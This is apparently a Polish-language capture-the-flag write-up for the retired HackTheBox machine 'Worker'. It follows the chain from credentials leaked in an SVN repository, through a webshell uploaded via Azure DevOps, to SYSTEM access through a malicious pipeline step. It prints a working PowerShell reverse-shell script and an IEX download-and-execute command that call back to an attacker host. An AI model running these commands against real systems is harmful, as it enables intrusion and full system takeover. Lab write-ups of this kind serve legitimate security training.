Writeup: Maszyna HackTheBox Worker

Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Worker - spełnia ten warunek.

Machine Info

1. TLDR

Worker graph

2. Przygotowanie

Przygotowałem przydatne zmienne:

export IP=10.10.10.203

3. Skanowanie i rozpoznanie

Na początku użyłem narzędzia nmap do identyfikacji otwartych portów:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $nmap -sC -sV -Pn -n $IP -T4 -oN nmap/01-initial.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-22 23:32 CET
Nmap scan report for 10.10.10.203
Host is up (0.096s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open  svnserve Subversion
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.02 seconds

4. Uzyskanie dostępu do repozytorium

Na serwerze było uruchomione repozytorium SVN. Spróbowałem pobrać zawartość:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $svn checkout svn://10.10.10.203:3690
A    dimension.worker.htb
A    dimension.worker.htb/LICENSE.txt
A    dimension.worker.htb/README.txt
...
A    dimension.worker.htb/index.html
A    moved.txt
Checked out revision 5.

Dodałem od razu wpis do /etc/hosts:

10.10.10.203    worker.htb dimension.worker.htb

Pod adresem http://worker.htb znajdowała się domyślna strona oferowana przez IIS:

Website Worker

Pod adresem http://dimension.worker.htb znajdowała się strona zaprojektowana przez zespół Worker:

Website Dimension Worker

Sprawdziłem log repozytorium:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker/repository]
└──╼ $svn log
------------------------------------------------------------------------
r5 | nathen | 2020-06-20 15:52:00 +0200 (Sat, 20 Jun 2020) | 1 line

Added note that repo has been migrated
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 15:50:20 +0200 (Sat, 20 Jun 2020) | 1 line

Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 15:46:19 +0200 (Sat, 20 Jun 2020) | 1 line

-
------------------------------------------------------------------------
r2 | nathen | 2020-06-20 15:45:16 +0200 (Sat, 20 Jun 2020) | 1 line

Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 15:43:43 +0200 (Sat, 20 Jun 2020) | 1 line

First version
------------------------------------------------------------------------

Wśród pobranych zasobów znajdował się katalog z projektem oraz plik moved.txt:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker/repository]
└──╼ $cat moved.txt 
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb

// The Worker team :)

Dodałem od razu wpis do /etc/hosts:

10.10.10.203    devops.worker.htb

Dostęp do zasobów pod http://devops.worker.htb był chroniony z wykorzystaniem The ‘Basic’ HTTP Authentication Scheme opisanym w RFC 7617:

Website Devops Worker

Przejrzałem pobieżnie źródło strony z pobranego repozytorium i trafiłem na kolejne adresy hostowanych stron, które dodałem do /etc/hosts:

10.10.10.203    alpha.worker.htb cartoon.worker.htb lens.worker.htb solid-state.worker.htb spectral.worker.htb story.worker.htb

Rozpocząłem przegląd zmian w repozytorium od początku życia projektu. W commicie r2, trafiłem na nowy plik będący skryptem PowerShella:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker/repository]
└──╼ $svn update -r r2
Updating '.':
A    deploy.ps1
Updated to revision 2.

W pliku znajdował się prosty skrypt, który zawierał zahardkodowane dane uwierzytelniające:

$user = "nathen" 
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")

W ten sposób pozyskałem pierwszy zestaw danych uwierzytelniających nathen:wendel98

Wykorzystując pozyskane dane logowania spróbowałem pozyskać dostęp do http://devops.worker.htb:

Website Devops Worker

W ten sposób uzyskałem dostęp do repozytorium Spectral projektu SmartHotel360:

Website Spectral Devops Worker

5. Uzyskanie dostępu do powłoki systemowej

Przygotowałem prostego backdoora:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $cp /usr/share/webshells/aspx/cmdasp.aspx 74wny0wl.aspx

Nie mogłem jednak przesłać pliku na branch master:

Website Master Spectral Devops Worker

Uzupełniłem zatem formularz tak, aby commit został przesłany na nowego brancha wraz z utworzeniem nowego pull request:

Website New Branch Spectral Devops Worker

Tym razem próba przesłania pliku powiodła się:

Website Commit Success Spectral Devops Worker

Pozostało zaakceptować pull request:

Website Pull Request Spectral Devops Worker

Następnie przygotowałem kolejny stage backdoora:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $ cat 74wny0wlshell.ps1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("110.10.14.232",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Pozostało uruchomić serwer http:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo python3 -m http.server 80
[sudo] password for t4wny0wl: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

i netcata:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo nc -nvlp 443
[sudo] password for t4wny0wl: 
listening on [any] 443 ...

oraz wykonać polecenie:

powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.232/74wny0wlshell.ps1\");"

Website Powershell Request Spectral Devops Worker

W wyniku czynności została nawiązana zdalna sesja powershella na prawach użytkownika defaultapppool:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.232] from (UNKNOWN) [10.10.10.203] 50939
whoami
iis apppool\defaultapppool
# 

6. Eskalacja uprawnień: iis apppool\defaultapppool ⇨ worker\robisl

Na stacji było kilku użytkowników:

# ls C:\Users


    Directory: C:\Users


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       2020-03-28     14:59                .NET v4.5                                                             
d-----       2020-03-28     14:59                .NET v4.5 Classic                                                     
d-----       2020-08-18     00:33                Administrator                                                         
d-r---       2020-03-28     14:01                Public                                                                
d-----       2020-07-22     01:11                restorer                                                              
d-----       2020-07-08     19:22                robisl

Przygotowałem do pobrania winPEAS:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $cp /opt/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/winPEAS/bin/Obfuscated\ Releases/winPEASany.exe ./74wny0wl.exe

Następnie pobrałem winPEAS na serwer i uruchomiłem program:

# cd C:\Users\Public\Downloads
# wget http://10.10.14.232/74wny0wl.exe -outfile 74wny0wl.exe
# ls


    Directory: C:\Users\Public\Downloads


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       2020-12-24     10:19         441856 74wny0wl.exe                                                          

# ./74wny0wl.exe

Na standardowym wyjściu znalazłem informację o dysku W:

[+] Network Shares
    ADMIN$ (Path: C:\Windows)
    C$ (Path: C:\)
    IPC$ (Path: )
    W$ (Path: W:\)

Na dysku znalazłem folder z danymi konfiguracyjnymi:

 # ls


    Directory: W:\svnrepos\www\conf


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       2020-06-20     11:29           1112 authz                                                                 
-a----       2020-06-20     11:29            904 hooks-env.tmpl                                                        
-a----       2020-06-20     15:27           1031 passwd                                                                
-a----       2020-04-04     20:51           4454 svnserve.conf

Plik passwd zawierał hasła użytkowników:

# Get-Content passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.

[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday

Na liście znajdował się użytkownik robsil, który był użytkownikiem zaatakowanej maszyny. Pozyskałem zatem parę danych uwierzytelniających robisl:wolves11

Używając Evil-WinRM, nawiązałem sesję jako użytkownik robisl:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo gem install evil-winrm
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $evil-winrm -i worker.htb -u robisl -p wolves11

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\robisl\Documents> whoami
worker\robisl

Pozostało odczytać flagę:

*Evil-WinRM* PS C:\Users\robisl\Desktop> Get-Content user.txt
b49c92482d0ff2204bfbf2d3d18fe32e

7. Eskalacja uprawnień: worker\robisl ⇨ nt authority\system

Ponownie pobrałem i uruchomiłem winPEAS:

*Evil-WinRM* PS C:\Users\robisl\AppData\Local\Temp> wget http://10.10.14.232/74wny0wl.exe -outfile 74wny0wl.exe
*Evil-WinRM* PS C:\Users\robisl\AppData\Local\Temp> ls


    Directory: C:\Users\robisl\AppData\Local\Temp


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       12/24/2020   1:12 PM         441856 74wny0wl.exe


*Evil-WinRM* PS C:\Users\robisl\AppData\Local\Temp> ./74wny0wl.exe

Moją uwagę zwrócił wpis dotyczący Azure Pipelines Agent o możliwości wykonania DLL Hijacking:

   =================================================================================================

    Azure Pipelines Agent (127.Default.Hamilton01)(Azure Pipelines Agent (127.Default.Hamilton01))["w:\agents\agent01\bin\AgentService.exe"] - Autoload - isDotNet
    Possible DLL Hijacking in binary folder: w:\agents\agent01\bin (Users [AppendData/CreateDirectories WriteData/CreateFiles])
   =================================================================================================

Nie miałem jednak uprawnień do zapisu w tym katalogu:

*Evil-WinRM* PS W:\agents\agent01\bin> (get-acl W:\agents\agent01\bin).access | ft IdentityReference,FileSystemRights,AccessControlType,IsInherited,InheritanceFlags -auto

IdentityReference                          FileSystemRights AccessControlType IsInherited                InheritanceFlags
-----------------                          ---------------- ----------------- -----------                ----------------
BUILTIN\Administrators                          FullControl             Allow       False                            None
WORKER\VSTS_AgentService_G3eff7                 FullControl             Allow        True ContainerInherit, ObjectInherit
IIS APPPOOL\DefaultAppPool                            Write              Deny        True ContainerInherit, ObjectInherit
BUILTIN\Administrators                          FullControl             Allow        True ContainerInherit, ObjectInherit
NT AUTHORITY\SYSTEM                             FullControl             Allow        True ContainerInherit, ObjectInherit
CREATOR OWNER                                     268435456             Allow        True ContainerInherit, ObjectInherit
BUILTIN\Users                   ReadAndExecute, Synchronize             Allow        True ContainerInherit, ObjectInherit
BUILTIN\Users                                    AppendData             Allow        True                ContainerInherit
BUILTIN\Users                                   CreateFiles             Allow        True                ContainerInherit

co potwierdziłem jeszcze próbą otwarcia pliku do zapisu:

*Evil-WinRM* PS W:\agents\agent01\bin> $outfile = "Agent.Worker.dll"
*Evil-WinRM* PS W:\agents\agent01\bin> Try { [io.file]::OpenWrite($outfile).close() }
 Catch { Write-Warning "Unable to write to output file $outputfile" }
Warning: Unable to write to output file

Postanowiłem wykorzystać Azure Pipelines Agent z poziomu portalu. Używając danych logowania robisl:wolves11, zalogowałem się do repozytorium:

Website Robisl Devops Worker

Przeszedłem do widoku Pipelines i utworzyłem nowy pipeline:

Website Pipelines Devops Worker

Wybrałem Azure Repos Git:

Website Azure Repos Git Devops Worker

Następnie wskazałem repozytorium PartsUnlimited:

Website Pipeline Project Git Devops Worker

Następnie wybrałem opcję ASP.NET:

Website ASP-NET Git Devops Worker

Przygotowałem definicję pipeline, który pobierał i wykonywał wykorzystany już wcześniej skrypt:

trigger:
- 74wny0wl-branch

variables:
  solution: '**/*.sln'
  buildPlatform: 'Any CPU'
  buildConfiguration: 'Release'

steps:
- script: powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.232/74wny0wlshell.ps1\");"

Dodałem utworzonego pipeline’a do nowego brancha:

Website 74wny0wl-branch-pipeline Git Devops Worker

Uruchomiłem netcata…

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo nc -nvlp 443
[sudo] password for t4wny0wl: 
listening on [any] 443 ...

i zapisałem pipeline. Po kiludziesięciu sekundach zostało nawiązane połączenie:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Windows/Worker]
└──╼ $sudo nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.232] from (UNKNOWN) [10.10.10.203] 50731
# whoami
nt authority\system

Pozostało odczytać flagę:

# Get-Content C:\Users\Administrator\Desktop\root.txt
9e63ccb853f1ce92325a6f57948e7532

8. Podsumowanie

Do zdobycia flag doprowadziły poniższe okoliczności:

Zalecenia, którego użytkownika wskazać oraz jak skonfigurować Azure Pipelines Agent znajdziesz tutaj oraz tutaj.